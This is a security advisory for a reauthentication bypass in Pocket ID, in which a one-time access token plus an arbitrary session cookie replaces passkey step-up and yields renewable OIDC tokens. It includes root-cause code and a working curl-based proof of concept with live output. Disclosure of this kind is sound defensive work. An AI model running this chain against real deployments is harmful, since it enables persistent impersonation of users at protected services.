medium

GHSA-hp74-gm6m-2qm5

Go · github.com/pocket-id/pocket-id/backend

Summary

Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method

Severity
medium
CWE
CWE-287
Published
2026-07-28
Updated
2026-07-28

Advisory details

Reauthentication Bypass via One-Time Access Token Login

Summary

A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with RequiresReauthentication: true. The POST /api/webauthn/reauthenticate endpoint's access-token fallback checks only JWT freshness (IssuedAt within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. session=deadbeef) is accepted, collapsing the reauth boundary to token recency alone.

The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains access_token (1-hour TTL), id_token (victim's name, email, profile), and refresh_token (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.

Root Cause

CreateReauthenticationTokenWithAccessToken (webauthn_service.go:362-403) only checks that the access token's IssuedAt claim is less than 60 seconds old:

// webauthn_service.go:378-381
tokenExpiration, ok := token.IssuedAt()
if !ok || time.Since(tokenExpiration) > time.Minute {
    return "", &common.ReauthenticationRequiredError{}
}

It does not check HOW the user originally authenticated. The reauthenticateHandler (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:

// webauthn_controller.go:189-199
credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)
if err == nil {
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)
} else {
    // FALLBACK: Only checks access token age, not auth method
    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)
}

Additionally, the handler's session cookie check (line 180) only verifies that a cookie named session exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. session=deadbeef) satisfies the check:

// webauthn_controller.go:180-184
sessionID, err := c.Cookie(cookie.SessionIdCookieName)
if err != nil {
    _ = c.Error(&common.MissingSessionIdError{})
    return
}
// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT
// to CreateReauthenticationTokenWithAccessToken (the fallback path)

In the fallback path, the sessionID variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.

Meanwhile, GenerateAccessToken (jwt_service.go:190-195) always sets IssuedAt(now) regardless of how authentication was performed:

// jwt_service.go:191-195
now := time.Now()
token, err := jwt.NewBuilder().
    Subject(user.ID).
    Expiration(now.Add(...)).
    IssuedAt(now).  // Always "now" — regardless of auth method

This function is called by:

  1. WebAuthn login (intended passkey path)
  2. One-time access token exchange (one_time_access_service.go:200)
  3. User signup (user_signup_controller.go:182)

All three produce tokens that bypass the reauthentication freshness check.

Attack Chain

Precondition: An OIDC client has RequiresReauthentication: true. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).

  1. Exchange OTA for fresh JWT: POST /api/one-time-access-token/{token} returns a fresh access token with IssuedAt = now.

  2. Set any session cookie: The handler checks for cookie existence only. Set session=deadbeef (or any arbitrary value). No need to call /api/webauthn/login/start.

  3. Bypass reauthentication: POST /api/webauthn/reauthenticate with empty body {} and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.

  4. Authorize sensitive client: POST /api/oidc/authorize with the reauthentication token and the target client's ID. The authorization code is issued.

  5. Get OIDC tokens: POST /api/oidc/token exchanges the authorization code for access_token, id_token, and refresh_token.

All steps complete in under 2 seconds (60-second window is trivial for scripts).

Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.

# Seed test database
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Returns 200 with user info, sets access_token cookie with IssuedAt=now

# Bypass reauthentication - empty body triggers access token fallback
# Session cookie can be ANY arbitrary value - handler only checks existence
curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \
  -H "Content-Type: application/json" -d '{}'
# Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"}
# NO passkey interaction! Fake session cookie accepted!

# Authorize sensitive OIDC client (after enabling RequiresReauthentication)
curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"clientID":"3654a746-...","scope":"openid profile email",
       "callbackURL":"http://nextcloud/auth/callback",
       "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}'
# Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."}
# OIDC authorization code issued without passkey!

# Exchange for full OIDC token set
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..."
# Returns: access_token, id_token, refresh_token

Live output from the test run:

[A3] Bypass reauthentication (empty body -> access token fallback)...
Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7
[A4] Authorize Nextcloud (requiresReauthentication=true)...
Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"}
[A5] Exchange authorization code for OIDC tokens...
Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']
=== FULL CHAIN COMPLETE ===

Impact

The RequiresReauthentication feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.